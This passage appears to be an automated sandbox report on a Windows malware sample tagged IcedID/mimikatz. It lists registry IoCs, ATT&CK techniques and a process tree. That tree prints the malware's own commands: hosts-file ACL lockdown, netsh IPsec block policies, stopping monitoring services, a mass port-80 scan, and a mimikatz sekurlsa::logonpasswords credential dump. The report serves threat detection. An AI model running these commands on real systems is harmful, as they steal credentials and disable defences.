Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	llefvytvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lsivtqwuf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jirnzjt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3496	cmd.exe
4900	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000a000000023b9b-6.dat	nsis_installer_2
behavioral2/files/0x0009000000023bc1-15.dat	nsis_installer_1
behavioral2/files/0x0009000000023bc1-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	jirnzjt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	jirnzjt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	jirnzjt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	jirnzjt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	jirnzjt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	jirnzjt.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	jirnzjt.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4900	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3688	schtasks.exe
4680	schtasks.exe
2236	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3932	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3932	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2944	jirnzjt.exe
Token: SeDebugPrivilege	1688	jirnzjt.exe
Token: SeDebugPrivilege	4152	vfshost.exe
Token: SeDebugPrivilege	3100	vrlgkrtsk.exe
Token: SeLockMemoryPrivilege	4684	jngiyk.exe
Token: SeLockMemoryPrivilege	4684	jngiyk.exe
Token: SeDebugPrivilege	4008	vrlgkrtsk.exe
Token: SeDebugPrivilege	4304	vrlgkrtsk.exe
Token: SeDebugPrivilege	4424	vrlgkrtsk.exe
Token: SeDebugPrivilege	1280	vrlgkrtsk.exe
Token: SeDebugPrivilege	3516	vrlgkrtsk.exe
Token: SeDebugPrivilege	5068	vrlgkrtsk.exe
Token: SeDebugPrivilege	3600	vrlgkrtsk.exe
Token: SeDebugPrivilege	3968	vrlgkrtsk.exe
Token: SeDebugPrivilege	3720	vrlgkrtsk.exe
Token: SeDebugPrivilege	2448	vrlgkrtsk.exe
Token: SeDebugPrivilege	2248	vrlgkrtsk.exe
Token: SeDebugPrivilege	872	vrlgkrtsk.exe
Token: SeDebugPrivilege	1076	vrlgkrtsk.exe
Token: SeDebugPrivilege	4304	vrlgkrtsk.exe
Token: SeDebugPrivilege	2920	vrlgkrtsk.exe
Token: SeDebugPrivilege	3588	vrlgkrtsk.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3932	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe
3932	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe
2944	jirnzjt.exe
2944	jirnzjt.exe
1688	jirnzjt.exe
1688	jirnzjt.exe
3656	xohudmc.exe
5012	skwigk.exe
2020	jirnzjt.exe
2020	jirnzjt.exe
5680	jirnzjt.exe
5680	jirnzjt.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3932 wrote to memory of 3496	3932	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe	83
PID 3932 wrote to memory of 3496	3932	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe	83
PID 3932 wrote to memory of 3496	3932	2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe	83
PID 3496 wrote to memory of 4900	3496	cmd.exe	85
PID 3496 wrote to memory of 4900	3496	cmd.exe	85
PID 3496 wrote to memory of 4900	3496	cmd.exe	85
PID 3496 wrote to memory of 2944	3496	cmd.exe	87
PID 3496 wrote to memory of 2944	3496	cmd.exe	87
PID 3496 wrote to memory of 2944	3496	cmd.exe	87
PID 1688 wrote to memory of 1820	1688	jirnzjt.exe	89
PID 1688 wrote to memory of 1820	1688	jirnzjt.exe	89
PID 1688 wrote to memory of 1820	1688	jirnzjt.exe	89
PID 1820 wrote to memory of 2932	1820	cmd.exe	91
PID 1820 wrote to memory of 2932	1820	cmd.exe	91
PID 1820 wrote to memory of 2932	1820	cmd.exe	91
PID 1820 wrote to memory of 852	1820	cmd.exe	92
PID 1820 wrote to memory of 852	1820	cmd.exe	92
PID 1820 wrote to memory of 852	1820	cmd.exe	92
PID 1688 wrote to memory of 3844	1688	jirnzjt.exe	93
PID 1688 wrote to memory of 3844	1688	jirnzjt.exe	93
PID 1688 wrote to memory of 3844	1688	jirnzjt.exe	93
PID 1688 wrote to memory of 1644	1688	jirnzjt.exe	95
PID 1688 wrote to memory of 1644	1688	jirnzjt.exe	95
PID 1688 wrote to memory of 1644	1688	jirnzjt.exe	95
PID 1820 wrote to memory of 4668	1820	cmd.exe	98
PID 1820 wrote to memory of 4668	1820	cmd.exe	98
PID 1820 wrote to memory of 4668	1820	cmd.exe	98
PID 1820 wrote to memory of 936	1820	cmd.exe	99
PID 1820 wrote to memory of 936	1820	cmd.exe	99
PID 1820 wrote to memory of 936	1820	cmd.exe	99
PID 1820 wrote to memory of 3516	1820	cmd.exe	100
PID 1820 wrote to memory of 3516	1820	cmd.exe	100
PID 1820 wrote to memory of 3516	1820	cmd.exe	100
PID 1820 wrote to memory of 1076	1820	cmd.exe	101
PID 1820 wrote to memory of 1076	1820	cmd.exe	101
PID 1820 wrote to memory of 1076	1820	cmd.exe	101
PID 1688 wrote to memory of 4100	1688	jirnzjt.exe	102
PID 1688 wrote to memory of 4100	1688	jirnzjt.exe	102
PID 1688 wrote to memory of 4100	1688	jirnzjt.exe	102
PID 1688 wrote to memory of 3620	1688	jirnzjt.exe	116
PID 1688 wrote to memory of 3620	1688	jirnzjt.exe	116
PID 1688 wrote to memory of 3620	1688	jirnzjt.exe	116
PID 3620 wrote to memory of 912	3620	cmd.exe	118
PID 3620 wrote to memory of 912	3620	cmd.exe	118
PID 3620 wrote to memory of 912	3620	cmd.exe	118
PID 912 wrote to memory of 3324	912	wpcap.exe	119
PID 912 wrote to memory of 3324	912	wpcap.exe	119
PID 912 wrote to memory of 3324	912	wpcap.exe	119
PID 3324 wrote to memory of 3656	3324	net.exe	121
PID 3324 wrote to memory of 3656	3324	net.exe	121
PID 3324 wrote to memory of 3656	3324	net.exe	121
PID 912 wrote to memory of 3168	912	wpcap.exe	122
PID 912 wrote to memory of 3168	912	wpcap.exe	122
PID 912 wrote to memory of 3168	912	wpcap.exe	122
PID 3168 wrote to memory of 4372	3168	net.exe	124
PID 3168 wrote to memory of 4372	3168	net.exe	124
PID 3168 wrote to memory of 4372	3168	net.exe	124
PID 912 wrote to memory of 2892	912	wpcap.exe	125
PID 912 wrote to memory of 2892	912	wpcap.exe	125
PID 912 wrote to memory of 2892	912	wpcap.exe	125
PID 2892 wrote to memory of 4672	2892	net.exe	127
PID 2892 wrote to memory of 4672	2892	net.exe	127
PID 2892 wrote to memory of 4672	2892	net.exe	127
PID 912 wrote to memory of 844	912	wpcap.exe	128

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2084
- C:\Windows\TEMP\ibnltisvu\jngiyk.exe
  "C:\Windows\TEMP\ibnltisvu\jngiyk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4684

C:\Users\Admin\AppData\Local\Temp\2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-08_67185fa9999bd87584927cab134afe81_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mgifenbt\jirnzjt.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4900
- - C:\Windows\mgifenbt\jirnzjt.exe
    C:\Windows\mgifenbt\jirnzjt.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2944

C:\Windows\mgifenbt\jirnzjt.exe
C:\Windows\mgifenbt\jirnzjt.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2932
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:852
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4668
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:936
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3516
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:1076
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3844
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1644
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\etqajulug\ekithtuut\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Windows\etqajulug\ekithtuut\wpcap.exe
    C:\Windows\etqajulug\ekithtuut\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3324
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:3656
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3168
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4372
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2892
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4672
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:844
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2928
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3004
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2124
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3524
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\etqajulug\ekithtuut\llefvytvt.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\etqajulug\ekithtuut\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4416
- - C:\Windows\etqajulug\ekithtuut\llefvytvt.exe
    C:\Windows\etqajulug\ekithtuut\llefvytvt.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\etqajulug\ekithtuut\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\etqajulug\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\etqajulug\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2128
- - C:\Windows\etqajulug\Corporate\vfshost.exe
    C:\Windows\etqajulug\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4152
- C:\Windows\SysWOW64\cmd.exe
